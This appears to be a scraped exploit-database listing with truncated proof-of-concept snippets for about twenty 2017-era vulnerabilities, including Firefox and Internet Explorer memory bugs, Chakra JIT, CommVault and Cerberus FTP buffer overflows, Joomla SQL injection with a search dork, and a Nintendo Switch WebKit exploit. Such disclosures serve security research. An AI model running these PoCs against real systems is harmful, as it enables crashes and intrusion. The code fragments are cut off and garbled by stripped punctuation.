CVE-2015-8985

The popfailstack function in the GNU C Library aka glibc or libc6 allows context-dependent attackers to cause a denial of service assertion failure and application crash via vectors related to extended regular expression processing...

Mozilla Firefox - table Use-After-Free Exploit

Exploit for multiple platform in category dos / poc body display: table function freememory try fuzzPriv.forceGC; catcherr alert'Please install domFuzzLite3'; function go var s = document.getSelection; window.find"1",true,false,true,false; s.modify"extend","forward","line";...

Mozilla Firefox - 'table' Use-After-Free

body display: table function freememory try fuzzPriv.forceGC; catcherr alert'Please install domFuzzLite3'; function go var s = document.getSelection; window.find"1",true,false,true,false; s.modify"extend","forward","line"; document.body.appenddocument.createElement"table"; freememory uZ1CqnaASOkr...

Mozilla Firefox - table Use-After-Free

Mozilla Firefox - table Use-After-Free body display: table function freememory try fuzzPriv.forceGC; catcherr alert'Please install domFuzzLite3'; function go var s = document.getSelection; window.find"1",true,false,true,false; s.modify"extend","forward","line";...

Microsoft Internet Explorer - textarea.defaultValue Memory Disclosure (MS17-006) Exploit

Exploit for windows platform in category dos / poc function run var textarea = document.getElementById"textarea"; var frame = document.createElement"iframe"; textarea.appendChildframe; frame.contentDocument.onreadystatechange = eventhandler; form.reset; function eventhandler...

shopify-scripts: SIGABRT - mirb - Double Free

PoC ------------------- Attached as test.rb Debug - mirb ------------------- x@x:/Desktop/test/mruby/bin$ gdb -q ./mirb r Reading symbols from ./mirb...done. gdb r test.rb Starting program: /home/x/Desktop/test/mruby/bin/mirb test.rb mirb - Embeddable Interactive Ruby Shell NoMethodError: undefin...

AXIS Communications Cross Site Request Forgery

0RWELLL4BS security advisory olsa-CVE-2015-8255 PGP: 79A6CCC0 @orwelllabs Advisory Information ==================== - Title: Cross-Site Request Forgery - Vendor: AXIS Communications - Research and Advisory: Orwelllabs - Class: Session Management control CWE-352 - CVE Name: CVE-2015-8255 - Affecte...

Cerberus FTP Server 8.0.10.3 - MLST Buffer Overflow Vulnerability

Exploit for windows platform in category dos / poc + Title: Cerberus FTP Server 8.0.10.3 – 'MLST' Remote Buffer Overflow + Credits / Discovery: Nassim Asrir + Author Contact: email protected || https://www.linkedin.com/in/nassim-asrir-b73a57122/ + Author Company: Henceforth + CVE: CVE-2017-6880...

Microsoft Edge Charkra Incorrect Jit Optimization

Microsoft Edge: Chakra incorrect jit optimization with TypedArray setter. CVE-2017-0071 PoC: "use strict"; function funca, b, c a0 = 1.2; b0 = c; a0 = ; ----------------------- 2 return 0; ; a0.toString; main; In the above code, Chakra assumes that the type of |a| will be still a native float arr...

CommVault Edge 11 SP6 - Stack Buffer Overflow (PoC)

CommVault Edge 11 SP6 - Stack Buffer Overflow PoC import socket import binascii import time import struct s = socket.socketsocket.AFINET, socket.SOCKSTREAM s.settimeout1 s.connect"10.101.0.85", 8400 def srp=None, r=None: if p: print "sending %d bytes: %s " % lenp/2,p payl = binascii.a2bhexp...

shopify-scripts: SIGSEGV - mrb_obj_value

Linux Ubuntu Xenial 64 commit f8b31a0db671b71d2794ce866b87596a09c10bf0 Author: Yukihiro "Matz" Matsumoto Date: Wed Mar 15 09:00:03 2017 +0900 output RAX: 0x0 RBX: 0x6c4e80 -- 0x1 RCX: 0x6c4e50 -- 0x6b4320 -- 0x112 RDX: 0xf222f69400000003 RSI: 0x6b4320 -- 0x112 RDI: 0x0 RBP: 0x7fffffffdb10 --...

APNGDis 2.8 - filename Stack Buffer Overflow (PoC)

APNGDis 2.8 - filename Stack Buffer Overflow PoC Exploit Title: APNGDis filename Buffer Overflow Date: 14-03-2017 Exploit Author: Alwin Peppels Vendor Homepage: http://apngdis.sourceforge.net/ Software Link: https://sourceforge.net/projects/apngdis/files/2.8/ Version: 2.8 Tested on: Linux Debian ...

Joomla! Component Guesser v1.0.4 - SQL Injection

Joomla! Component Guesser v1. 0. 4 - SQL Injection Joomla! Component Guesser v1. 0. 4, There is parameter filter is not strict, leading to a sql injection vulnerability, if the other server is turned on the error display, can be directly used Google Dork: inurl:index. php? option=comguesser...

APNGDis 2.8 - 'chunk size descriptor' Heap Buffer Overflow

Exploit Title: APNGDis chunk size descriptor Buffer Overflow Date: 14-03-2017 Exploit Author: Alwin Peppels Vendor Homepage: http://apngdis.sourceforge.net/ Software Link: https://sourceforge.net/projects/apngdis/files/2.8/ Version: 2.8 Tested on: Linux Debian / Windows 7 CVE : CVE-2017-6192...

WebKit memory corruption vulnerability(CVE-2016-4657 )

Can be used for: CVE-2016-4657 Nintendo Switch Node Server Quick node.js server for the WebKit exploit. The virus can be modified in exploit.js Installing and Running cd npm i sudo node server.js Server runs on port 80 needs root unless specified otherwise. Route conntest.nintendowifi.net to your...

Easy MOV Converter 1.4.24 Denial Of Service

!/usr/bin/python Exploit Title : Easy MOV Converter - 'Enter User Name' Field SEH Overwrite POC Date : 12/03/2017 Exploit Author : Muhann4d Vendor Homepage : http://www.divxtodvd.net/ Software Link : http://www.divxtodvd.net/easymovconverter.exe Tested Version : 1.4.24 Category : Denial of Servic...

Easy MOV Converter 1.4.24 - Local Buffer Overflow (SEH)

!/usr/bin/python Exploit Title : Easy MOV Converter - 'Enter User Name' Field SEH Overwrite POC Date : 12/03/2017 Exploit Author : Muhann4d Vendor Homepage : http://www.divxtodvd.net/ Software Link : http://www.divxtodvd.net/easymovconverter.exe Tested Version : 1.4.24 Category : Denial of Servic...

Easy MOV Converter 1.4.24 - Local Buffer Overflow (SEH)

Easy MOV Converter 1.4.24 - Local Buffer Overflow SEH !/usr/bin/python Exploit Title : Easy MOV Converter - 'Enter User Name' Field SEH Overwrite POC Date : 12/03/2017 Exploit Author : Muhann4d Vendor Homepage : http://www.divxtodvd.net/ Software Link : http://www.divxtodvd.net/easymovconverter.e...

Nintendo Switch - WebKit Code Execution (PoC)

Nintendo Switch - WebKit Code Execution PoC CVE-2016-4657 Switch PoC body font-size: 2em; a text-decoration: none; color: 000; a:hover color: f00; font-weight: bold; CVE-2016-4657 Nintendo Switch PoC go! reload waiting... click go. // display JS errors as alerts. Helps debugging. window.onerror =...

shopify-scripts: sprintf gem - format string combined attack

In the sprintf gem, NOT included in mruby-engine, there are severe vulnerabilities, including information leak, and heap buffer overflow. Here are the technical details. Technical Error 1: ============== The CHECKl macro can sometimes receive negative values, that will bypass the size checks, sin...